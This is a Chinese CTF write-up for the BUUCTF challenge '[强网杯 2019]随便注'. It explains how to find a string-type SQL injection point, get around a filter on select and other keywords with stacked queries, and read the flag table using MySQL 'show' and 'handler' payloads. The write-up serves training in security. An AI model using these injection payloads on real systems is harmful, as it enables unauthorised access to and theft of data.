BUUCTF Web [强网杯 2019]随便注

网友投稿 681 2022-05-29

[强网杯 2019]随便注

一、题目简介

二、思路分析

1)判断注入点

2)选择注入方式

3)查看表中内容

三、解题步骤

1)获取表

2)获取字段

3)获取表中数据

四、总结

一、题目简介

进入题目链接后,是一个

「查询」

功能,在输入框中提交id,即可返回

「响应」

的内容。

在输入框中输入一个2,即可查询2对应的内容

二、思路分析

这一关是一个

「SQL注入漏洞」

,推荐使用堆叠注入,show + handler命令获取表中数据

右键查看页面源代码,

「注释」

里面说sqlmap是没有灵魂的,众所周知,sqlmap是SQL注入神器,这也变相说明这关考察的是SQL注入漏洞

1)判断注入点

使用数值型、字符型等各种类型的

「万能账号」

进行测试(参考《万能账号密码使用详解》),正确响应的payload如下:

0' or true -- a

1

页面中返回了多条数据,因为万能账号使SQL恒成立,后端查询出了表中的

「所有数据」

由此可知,注入点为

BUUCTF Web [强网杯 2019]随便注

「单引号字符型」

注入。

2)选择注入方式

源码中

「过滤」

了select、update、delete、drop、insert、where等关键字,参数中包含以上关键字即可触发过滤提示,比如:1'select

根据过滤情况,排除掉联合注入和报错注入,尝试使用

「堆叠注入」

,payload如下:

0';show databases; -- a

1

使用MySQL的

「show 命令」

可以查看数据库、表、字段等信息

3)查看表中内容

由于select被过滤了,show命令又不能查看表中的数据,因此需要使用

「handler 命令」

来查看表中的数据,payload如下

0';handler `1919810931114514` open;handler `1919810931114514` read first; -- a

1

这里需要注意,表名如果是数字,需要用

「反引号」

(键盘左上角第二行那个键)包裹起来。

三、解题步骤

1)获取表

CTF有个不成文的

「规矩」

,SQL注入漏洞的flag大部分都在当前使用的

「表」

中,这里我们使用堆叠注入直接查看当前使用的数据库中有哪些表,payload如下

0';show tables; -- a

1

当前数据库下有两个表:1919810931114514,words

2)获取字段

使用show 命令查看表中的

「字段」

,注意表名要用反引号包裹,payload如下:

0';show columns from `1919810931114514`; -- a

1

表中只有一个字段,很明显flag就在这里

3)获取表中数据

使用handler 命令查看表中的

「数据」

,需要注意的是,表名如果是数字,则需要使用反引号包裹起来,payload如下:

0';handler `1919810931114514` open;handler `1919810931114514` read first; -- a

1

表中只有一条数据,提交flag即可过关

四、总结

喜欢一个东西首先要先学会

「尊重」

,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着

「举世皆浊我独清,众人皆醉我独醒」

的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全

SQL web前端

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:HERO联盟知识学堂第一期——数据库工程师进阶之路——化繁为简,从“新”开始——LV1(一)未完
下一篇:JavaWeb:JavaScript
相关文章